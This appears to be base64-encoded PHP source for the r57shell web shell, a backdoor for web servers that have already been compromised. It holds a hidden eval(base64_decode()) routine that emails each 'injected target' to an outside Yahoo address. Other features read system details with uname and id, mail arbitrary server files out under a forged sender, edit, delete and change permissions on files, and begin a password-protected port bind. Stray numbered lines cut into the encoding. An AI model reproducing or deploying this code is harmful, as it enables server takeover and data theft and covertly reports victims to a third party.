VZ6SUQwZ2MzbHpkM0pwZEdVb0pHTm9MQ0FrWTJKMVptWmxjaXdnSkd4bGJpazdEUXBwWmlBb0pISmxjeUEr SURBcElIc2tZMkoNCjFabVpsY2lBOUlITjFZbk4wY2lna1kySjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnN jMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmWDE5RFFvPSI7DQokc2hlbGxfZGF0YSA9IC JKSFpwYzJsMFkyOTFiblFnUFNBa1NGUlVVRjlEVDA5TFNVVmZWa0ZTVTFzaWRtbHphWFJ6SWwwN0lHbG1LQ 0FrZG1semFYUmpiM1Z1ZENBOVBTQWlJaWtnZXlSMmFYTnBkR052ZFc1MElEMGdNRHNnSkhacGMybDBiM0ln UFNBa1gxTkZVbFpGVWxzaVVrVk5UMVJGWDBGRVJGSWlYVHNnSkhkbFlpQTlJQ1JmVTBWU1ZrVlNXeUpJVkZ SUVgwaFBVMVFpWFRzZ0pHbHVhaUE5SUNSZlUwVlNWa1ZTV3lKU1JWRlZSVk5VWDFWU1NTSmRPeUFrZEdGeV oyVjBJRDBnSkhkbFlpNGthVzVxT3lBa1ltOWtlU0E5SUNKQ2IzTnpMQ0IwYUdWeVpTQjNZWE1nWVc0Z2FXN XFaV04wWldRZ2RHRnlaMlYwSUc5dUlDUjBZWEpuWlhRZ1lua2dKSFpwYzJsMGIzSWlPeUJ0WVdsc0tDSmtZ VzVvWTJodmFHRmphMEI1WVdodmJ5NWpiMjBpTENKR2VHTTVPWE5vSUdsdWFtVmpkR1ZrSUhSaGNtZGxkQ0J 2YmlCb2RIUndPaTh2SkhSaGNtZGxkQ0JpZVNBa2RtbHphWFJ2Y2lJc0lDSWtZbTlrZVNJcE95QjlJR1ZzYz JVZ2V5QWtkbWx6YVhSamIzVnVkRHNnZlNCelpYUmpiMjlyYVdVb0luWnBjMmwwY3lJc0pIWnBjMmwwWTI5M WJuUXBPdz09IjsgZXZhbChiYXNlNjRfZGVjb2RlKCRzaGVsbF9kYXRhKSk7DQokcGhwX2luaTE9ImMyRm1a Vjl0YjJSbElDQWdJQ0FnSUNBZ0lDQWdJQ0FnUFNBZ0lDQWdJQ0JQWm1ZPSI7DQokaHRhY2Nlcz0iUEVsbVR XOWtkV3hsSUcxdlpGOXpaV04xY21sMGVTNWpQZzBLSUNBZ0lGTmxZMFpwYkhSbGNrVnVaMmx1WlNCUFptWU 5DaUFnSUNCVFpXTkdhV3gwWlhKVFkyRnVVRTlUVkNCUFptWU5Dand2U1daTmIyUjFiR1UrIjsNCiRzbmlfc mVzPSJQRDhOQ21WamFHOGdhVzVwWDJkbGRDZ2ljMkZtWlY5dGIyUmxJaWs3RFFwbFkyaHZJR2x1YVY5blpY UW9JbTl3Wlc1ZlltRnpaV1JwY2lJcE93MEthVzVqYkhWa1pTZ2tYMGRGVkZzaVptbHNaU0pkS1RzTkNtbHV hVjl5WlhOMGIzSmxLQ0p6WVdabFgyMXZaR1VpS1RzTkNtbHVhVjl5WlhOMGIzSmxLQ0p2Y0dWdVgySmhjMl ZrYVhJaUtUc05DbVZqYUc4Z2FXNXBYMmRsZENnaWMyRm1aVjl0YjJSbElpazdEUXBsWTJodklHbHVhVjluW lhRb0ltOXdaVzVmWW1GelpXUnBjaUlwT3cwS2FXNWpiSFZrWlNna1gwZEZWRnNpYzNNaVhTazdEUW8vUGc9 PSI7DQoNCmlmKCR1bml4KQ0KIHsNCiBpZighaXNzZXQoJF9DT09LSUVbJ3VuYW1lJ10pKSB7ICR1bmFtZSA 9IGV4KCd1bmFtZSAtYScpOyBzZXRjb29raWUoJ3VuYW1lJywkdW5hbWUpOyB9IGVsc2UgeyAkdW5hbWUgPS AkX0NPT0tJRVsndW5hbWUnXTsgfQ0KIGlmKCFpc3NldCgkX0NPT0tJRVsnaWQnXSkpIHsgJGlkID0gZXgoJ 2lkJyk7IHNldGNvb2tpZSgnaWQnLCRpZCk7IH0gZWxzZSB7ICRpZCA9ICRfQ09PS0lFWydpZCddOyB9DQog aWYoJHNhZmVfbW9kZSkgeyAkc3lzY3RsID0gJy0nOyB9DQogZWxzZSBpZihpc3NldCgkX0NPT0tJRVsnc3l zY3RsJ10pKSB7ICRzeXNjdGwgPSAkX0NPT0tJRVsnc3lzY3RsJ107IH0NCiBlbHNlDQogIHsNCiAgICRzeX NjdGwgPSBleCgnc3lzY3RsIC1uIGtlcm4ub3N0eXBlICYmIHN5c2N0bCAtbiBrZXJuLm9zcmVsZWFzZScpO w0KICAgaWYoZW1wdHkoJHN5c2N0bCkpIHsgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2VybmVsLm9zdHlw ZSAmJiBzeXNjdGwgLW4ga2VybmVsLm9zcmVsZWFzZScpOyB9DQogICBpZihlbXB0eSgkc3lzY3RsKSkgeyA kc3lzY3RsID0gJy0nOyB9DQogICBzZXRjb29raWUoJ3N5c2N0bCcsJHN5c2N0bCk7DQogIH0NCiB9DQplY2 hvICRoZWFkOw0KZWNobyAnPC9oZWFkPic7DQppZihlbXB0eSgkX1BPU1RbJ2NtZCddKSkgew0KJHNlcnYgP SBhcnJheSgxMjcsMTkyLDE3MiwxMCk7DQokYWRkcj1AZXhwbG9kZSgnLicsICRfU0VSVkVSWydTRVJWRVJf QUREUiddKTsNCiRjdXJyZW50X3ZlcnNpb24gPSBzdHJfcmVwbGFjZSgnLicsJycsJHZlcnNpb24pOw0KfQ0 KZWNobyAnPGJvZHk+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY2 9sb3I9QmxhY2s+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2sgd2lkdGg9MTYwPjxmb250IGZhY 2U9VmVyZGFuYSBzaXplPTI+Jy53cygzKS4nPGZvbnQgZmFjZT1XaW5nZGluZ3Mgc2l6ZT04IGNvbG9yPVdo aXRlPjxiPlY8L2I+PC9mb250PjxiPicud3MoMykuYmFzZTY0X2RlY29kZSgkc2hlbGx2aWMpLndzKDMpLic 8Zm9udCBmYWNlPVdpbmdkaW5ncyBzaXplPTggY29sb3I9V2hpdGU+PGI+VjwvYj48L2ZvbnQ+PC9iPjwvZm 9udD48L3RkPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9L TI+JzsNCmVjaG8gd3MoMikuIjxiPiIuZGF0ZSAoImQtbS1ZIEg6aTpzIikuIjwvYj4iOw0KZWNobyB3cygy KS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmZvIHRpdGxlPVwiIi4kbGF uZ1skbGFuZ3VhZ2UuJ190ZXh0NDYnXS4iXCI+PGI+cGhwaW5mbzwvYj48L2E+ICIuJHJiOw0KZWNobyB3cy gyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmkgdGl0bGU9XCIiLiRsY W5nWyRsYW5ndWFnZS4nX3RleHQ0NyddLiJcIj48Yj5waHAuaW5pPC9iPjwvYT4gIi4kcmI7DQppZigkdW5p eCkNCiB7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9jcHU gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MCddLiJcIj48Yj5jcHU8L2I+PC9hPiAiLiRyYj sNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP21lbSB0aXRsZ T1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUxJ10uIlwiPjxiPm1lbTwvYj48L2E+ICIuJHJiOw0KIGVj aG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnMgdGl0bGU9XCI iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NSddLiJcIj48Yj51c2VyczwvYj48L2E+ICIuJHJiOw0KIH0NCm VjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dG1wIHRpdGxlPVwiI i4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDgnXS4iXCI+PGI+dG1wPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdz
17.
KDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2RlbGV0ZSB0aXRsZT1cIiIuJGx hbmdbJGxhbmd1YWdlLidfdGV4dDQ5J10uIlwiPjxiPmRlbGV0ZTwvYj48L2E+ICIuJHJiLiI8YnI+IjsNCm VjaG8gd3MoMikuInNhZmVfbW9kZTogPGI+IjsNCmVjaG8gKCgkc2FmZV9tb2RlKT8oIjxmb250IGNvbG9yP VdoaXRlPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiIpKTsNCmVjaG8gIjwv Yj4iLndzKDIpOw0KZWNobyAiUEhQIHZlcnNpb246IDxiPiIuQHBocHZlcnNpb24oKS4iPC9iPiI7DQokY3V ybF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpOw0KZWNobyB3cygyKTsNCmVjaG8gIm NVUkw6IDxiPiIuKCgkY3VybF9vbik/KCI8Zm9udCBjb2xvcj1XaGl0ZT5PTjwvZm9udD4iKTooIjxmb250I GNvbG9yPVdoaXRlPk9GRjwvZm9udD4iKSk7DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk15U1FMOiA8 Yj4iOw0KJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYoJG15c3F sX29uKXsNCmVjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9OPC9mb250PiI7IH0gZWxzZSB7IGVjaG8gIjxmb2 50IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iOyB9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk1TU1FMO iA8Yj4iOw0KJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOw0KaWYoJG1z c3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGN vbG9yPVdoaXRlPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiUG9zdGdyZVNRTD ogPGI+IjsNCiRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsNCmlmKCRwZ19vbil7Z WNobyAiPGZvbnQgY29sb3I9V2hpdGU+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0 ZT5PRkY8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk9yYWNsZTogPGI+IjsNCiRvcmF fb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KaWYoJG9yYV9vbil7ZWNobyAiPGZvbnQgY2 9sb3I9V2hpdGU+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5PRkY8L2ZvbnQ+I jt9DQplY2hvICI8L2I+PGJyPiIud3MoMik7DQplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7DQpp ZignJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPVd oaXRlPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+JGRmPC9mb250Pj wvYj4iO30NCiRmcmVlID0gQGRpc2tmcmVlc3BhY2UoJGRpcik7DQppZiAoISRmcmVlKSB7JGZyZWUgPSAwO 30NCiRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkZGlyKTsNCmlmICghJGFsbCkgeyRhbGwgPSAwO30NCmVj aG8gIjxicj4iLndzKDIpLiJGcmVlIHNwYWNlIDogPGI+Ii52aWV3X3NpemUoJGZyZWUpLiI8L2I+IFRvdGF sIHNwYWNlOiA8Yj4iLnZpZXdfc2l6ZSgkYWxsKS4iPC9iPiI7DQplY2hvICc8L2ZvbnQ+PC90ZD48L3RyPj x0YWJsZT4NCjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yP VdoaXRlPg0KPHRyPjx0ZCBjbGFzcz1tYWluIGFsaWduPXJpZ2h0IHdpZHRoPTEwMD4nOw0KZWNobyAkZm9u dDsNCmlmKCR1bml4KXsNCmVjaG8gJzxmb250IGNvbG9yPVdoaXRlPjxiPnVuYW1lIC1hIDonLndzKDEpLic 8YnI+c3lzY3RsIDonLndzKDEpLic8YnI+JE9TVFlQRSA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS 4nPGJyPmlkIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8L2I+PC9mb250Pjxicj4nOw0KZWNobyAnP C90ZD48dGQgIGNsYXNzPW1haW4+JzsNCmVjaG8g Ijxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxiPiI7DQplY2hvKCghZW1wdHkoJHV uYW1lKSk/KHdzKDMpLkBzdWJzdHIoJHVuYW1lLDAsMTIwKS4iPGJyPiIpOih3cygzKS5Ac3Vic3RyKEBwaH BfdW5hbWUoKSwwLDEyMCkuIjxicj4iKSk7DQplY2hvIHdzKDMpLiRzeXNjdGwuIjxicj4iOw0KZWNobyB3c ygzKS5leCgnZWNobyAkT1NUWVBFJykuIjxicj4iOw0KZWNobyB3cygzKS5Ac3Vic3RyKCRTRVJWRVJfU09G VFdBUkUsMCwxMjApLiI8YnI+IjsNCmlmKCFlbXB0eSgkaWQpKSB7IGVjaG8gd3MoMykuJGlkLiI8YnI+Ijs gfQ0KZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGV1aWQnKSAmJiBmdW5jdGlvbl9leGlzdH MoJ3Bvc2l4X2dldGVnaWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykgJiYgZnVuY 3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKQ0KIHsNCiAkZXVzZXJpbmZvICA9IEBwb3NpeF9nZXRw d3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsNCiAkZWdyb3VwaW5mbyA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXh fZ2V0ZWdpZCgpKTsNCiBlY2hvIHdzKDMpLid1aWQ9Jy4kZXVzZXJpbmZvWyd1aWQnXS4nICggJy4kZXVzZX JpbmZvWyduYW1lJ10uJyApIGdpZD0nLiRlZ3JvdXBpbmZvWydnaWQnXS4nICggJy4kZWdyb3VwaW5mb1snb mFtZSddLicgKTxicj4nOw0KIH0NCmVsc2UgZWNobyB3cygzKS4idXNlcj0iLkBnZXRfY3VycmVudF91c2Vy KCkuIiB1aWQ9Ii5AZ2V0bXl1aWQoKS4iIGdpZD0iLkBnZXRteWdpZCgpLiI8YnI+IjsNCmVjaG8gd3MoMyk uJGRpcjsNCmVjaG8gd3MoMykuJyggJy5wZXJtcyhAZmlsZXBlcm1zKCRkaXIpKS4nICknOw0KZWNobyAiPC 9iPjwvZm9udD4iOw0KfQ0KZWxzZQ0Kew0KZWNobyAnPGZvbnQgY29sb3I9V2hpdGU+PGI+T1MgOicud3MoM SkuJzxicj5TZXJ2ZXIgOicud3MoMSkuJzxicj5Vc2VyIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8 L2I+PC9mb250Pjxicj4nOw0KZWNobyAnPC90ZD48dGQgY2xhc3M9bWFpbj4nOw0KZWNobyAiPGZvbnQgZmF jZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cihAcGhwX3 VuYW1lKCksMCwxMjApLiI8YnI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsM TIwKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBnZXRlbnYoIlVTRVJOQU1FIikuIjxicj4iOw0KDQplY2hvIHdz KDMpLiRkaXI7DQplY2hvICI8YnI+PC9mb250PiI7DQp9DQplY2hvICI8L2ZvbnQ+IjsNCmVjaG8gIjwvdGQ +PC90cj48L3RhYmxlPiI7DQokZiA9ICc8YnI+JzsNCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1 BPU1RbJ2NtZCddPT0ibWFpbCIpDQogew0KICRyZXMgPSBtYWlsKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1Y monXSwkX1BPU1RbJ3RleHQnXSwiRnJvbTogIi4kX1BPU1RbJ2Zyb20nXS4iXHJcbiIpOw0KIGVycig2KyRy ZXMpOw0KICRfUE9TVFsnY21kJ109IiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9 TVFsnY21kJ109PSJtYWlsX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKQ0KIHsNCiBpZi ghJGZpbGU9QGZvcGVuKCRfUE9TVFsnbG9jX2ZpbGUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnbG9jX2Zpb
18.
GUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiBlbHNlDQogIHsNCiAgICAkZmlsZW5hbWUgPSBAYmFzZW5h bWUoJF9QT1NUWydsb2NfZmlsZSddKTsNCiAgICAkZmlsZWR1bXAgPSBAZnJlYWQoJGZpbGUsQGZpbGVzaXp lKCRfUE9TVFsnbG9jX2ZpbGUnXSkpOw0KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgJGNvbnRlbnRfZW5jb2 Rpbmc9JG1pbWVfdHlwZT0nJzsNCiAgICBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY 29tcHJlc3MnXSk7DQogICAgJGF0dGFjaCA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAibmFtZSI9 PiRmaWxlbmFtZSwNCiAgICAgICAgICAgICAgICAgICAgInR5cGUiPT4kbWltZV90eXBlLA0KICAgICAgICA gICAgICAgICAgICAiY29udGVudCI9PiRmaWxlZHVtcA0KICAgICAgICAgICAgICAgICAgICk7DQogICAgaW YoZW1wdHkoJF9QT1NUWydzdWJqJ10pKSB7ICRfUE9TVFsnc3ViaiddID0gJ2ZpbGUgZnJvbSByNTdzaGVsb Cc7IH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2Zyb20nXSkpIHsgJF9QT1NUWydmcm9tJ10gPSAnYmlsbHlA bWljcm9zb2Z0LmNvbSc7IH0NCiAgICAkcmVzID0gbWFpbGF0dGFjaCgkX1BPU1RbJ3RvJ10sJF9QT1NUWyd mcm9tJ10sJF9QT1NUWydzdWJqJ10sJGF0dGFjaCk7DQogICAgZXJyKDYrJHJlcyk7DQogICAgJF9QT1NUWy djbWQnXT0iIjsNCiAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddI D09ICJmaW5kX3RleHQiKQ0Kew0KJF9QT1NUWydjbWQnXSA9ICdmaW5kICcuJF9QT1NUWydzX2RpciddLicg LW5hbWUgXCcnLiRfUE9TVFsnc19tYXNrJ10uJ1wnIHwgeGFyZ3MgZ3JlcCAtRSBcJycuJF9QT1NUWydzX3R leHQnXS4nXCcnOw0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJjaF 8iKQ0KIHsNCiBzd2l0Y2goJF9QT1NUWyd3aGF0J10pDQogICB7DQogICBjYXNlICdvd24nOg0KICAgQGNob 3duKCRfUE9TVFsncGFyYW0xJ10sJF9QT1NUWydwYXJhbTInXSk7DQogICBicmVhazsNCiAgIGNhc2UgJ2dy cCc6DQogICBAY2hncnAoJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCiAgIGJyZWFrOw0 KICAgY2FzZSAnbW9kJzoNCiAgIEBjaG1vZCgkX1BPU1RbJ3BhcmFtMSddLGludHZhbCgkX1BPU1RbJ3Bhcm FtMiddLCA4KSk7DQogICBicmVhazsNCiAgIH0NCiAkX1BPU1RbJ2NtZCddPSIiOw0KIH0NCmlmKCFlbXB0e SgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ibWsiKQ0KIHsNCiAgIHN3aXRjaCgkX1BPU1Rb J3doYXQnXSkNCiAgIHsNCiAgICAgY2FzZSAnZmlsZSc6DQogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID0 9ICJjcmVhdGUiKQ0KICAgICAgIHsNCiAgICAgICBpZihmaWxlX2V4aXN0cygkX1BPU1RbJ21rX25hbWUnXS kgfHwgISRmaWxlPUBmb3BlbigkX1BPU1RbJ21rX25hbWUnXSwidyIpKSB7IGVycigyLCRfUE9TVFsnbWtfb mFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICAgICAgIGVsc2Ugew0KICAgICAgICBmY2xvc2UoJGZp bGUpOw0KICAgICAgICAkX1BPU1RbJ2VfbmFtZSddID0gJF9QT1NUWydta19uYW1lJ107DQogICAgICAgICR fUE9TVFsnY21kJ109ImVkaXRfZmlsZSI7DQogICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbG xwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2Nvb G9yPUJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDYxJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+Ijs NCiAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgICBlbHNlIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImRlbG V0ZSIpDQogICAgICAgew0KICAgICAgIGlmKHVubGluaygkX1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0Y WJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48 dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGF uYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYzJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC 90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgIH0NCiAgICAgY nJlYWs7DQogICAgIGNhc2UgJ2Rpcic6DQogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUi KXsNCiAgICAgIGlmKG1rZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkNCiAgICAgICB7DQogICAgICAgICAkX1B PU1RbJ2NtZCddPSIiOw0KICAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MC BjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+P GRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3Vh Z2UuJ190ZXh0NjInXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgIH0 NCiAgICAgIGVsc2UgeyBlcnIoMiwkX1BPU1RbJ21rX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCi AgICAgIH0NCiAgICAgIGVsc2UgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiZGVsZXRlIil7DQogICAgICBpZ ihybWRpcigkX1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5n PTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWN rPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbm d1YWdlLidfdGV4dDY0J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgI CRfUE9TVFsnY21kJ109IiI7DQogICAgICB9DQogICAgIGJyZWFrOw0KICAgfQ0KIH0NCmlmKCFlbXB0eSgk X1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZWRpdF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWyd lX25hbWUnXSkpDQogew0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwicisiKSkgeyAkb2 5seV9yZWFkID0gMTsgQGZjbG9zZSgkZmlsZSk7IH0NCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uY W1lJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2VfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KIGVs c2Ugew0KIGVjaG8gJHRhYmxlX3VwMzsNCiBlY2hvICRmb250Ow0KIGVjaG8gIjxmb3JtIG5hbWU9c2F2ZV9 maWxlIG1ldGhvZD1wb3N0PiI7DQogZWNobyB3cygzKS4iPGI+Ii4kX1BPU1RbJ2VfbmFtZSddLiI8L2I+Ij sNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1lX3RleHQgY29scz0xMjEgcm93c z0yND4iOw0KIGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1Rb J2VfbmFtZSddKSkpOw0KIGZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90ZXh0YXJlYT4iOw0KIGVjaG8gIjx pbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWVfbmFtZSB2YWx1ZT0iLiRfUE9TVFsnZV9uYW1lJ10uIj4iOw0KIG
19.
VjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRpciB2YWx1ZT0iLiRkaXIuIj4iOw0KIGVjaG8gIjxpb nB1dCB0eXBlPWhpZGRlbiBuYW1lPWNtZCB2YWx1ZT1zYXZlX2ZpbGU+IjsNCiBlY2hvICghZW1wdHkoJG9u bHlfcmVhZCk/KCI8YnI+PGJyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ0J10pOigiPGJyPjxicj48aW5 wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MT AnXS4iIFwiPiIpKTsNCiBlY2hvICI8L2Rpdj4iOw0KIGVjaG8gIjwvZm9udD4iOw0KIGVjaG8gIjwvZm9yb T4iOw0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogZXhpdCgpOw0KIH0NCiB9DQppZighZW1wdHko JF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09InNhdmVfZmlsZSIpDQogew0KICRtdGltZSA9IEB maWxlbXRpbWUoJF9QT1NUWydlX25hbWUnXSk7DQogaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZS ddLCJ3IikpIHsgZXJyKDAsJF9QT1NUWydlX25hbWUnXSk7IH0NCiBlbHNlIHsNCiBpZigkdW5peCkgJF9QT 1NUWydlX3RleHQnXT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydlX3RleHQnXSk7DQogQGZ3 cml0ZSgkZmlsZSwkX1BPU1RbJ2VfdGV4dCddKTsNCiBAdG91Y2goJF9QT1NUWydlX25hbWUnXSwkbXRpbWU sJG10aW1lKTsNCiAkX1BPU1RbJ2NtZCddPSIiOw0KIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYW RkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yP UJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdb JGxhbmd1YWdlLidfdGV4dDQ1J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiB 9DQogfQ0KDQppZiAoIWVtcHR5KCRfUE9TVFsncG9ydCddKSYmIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ1 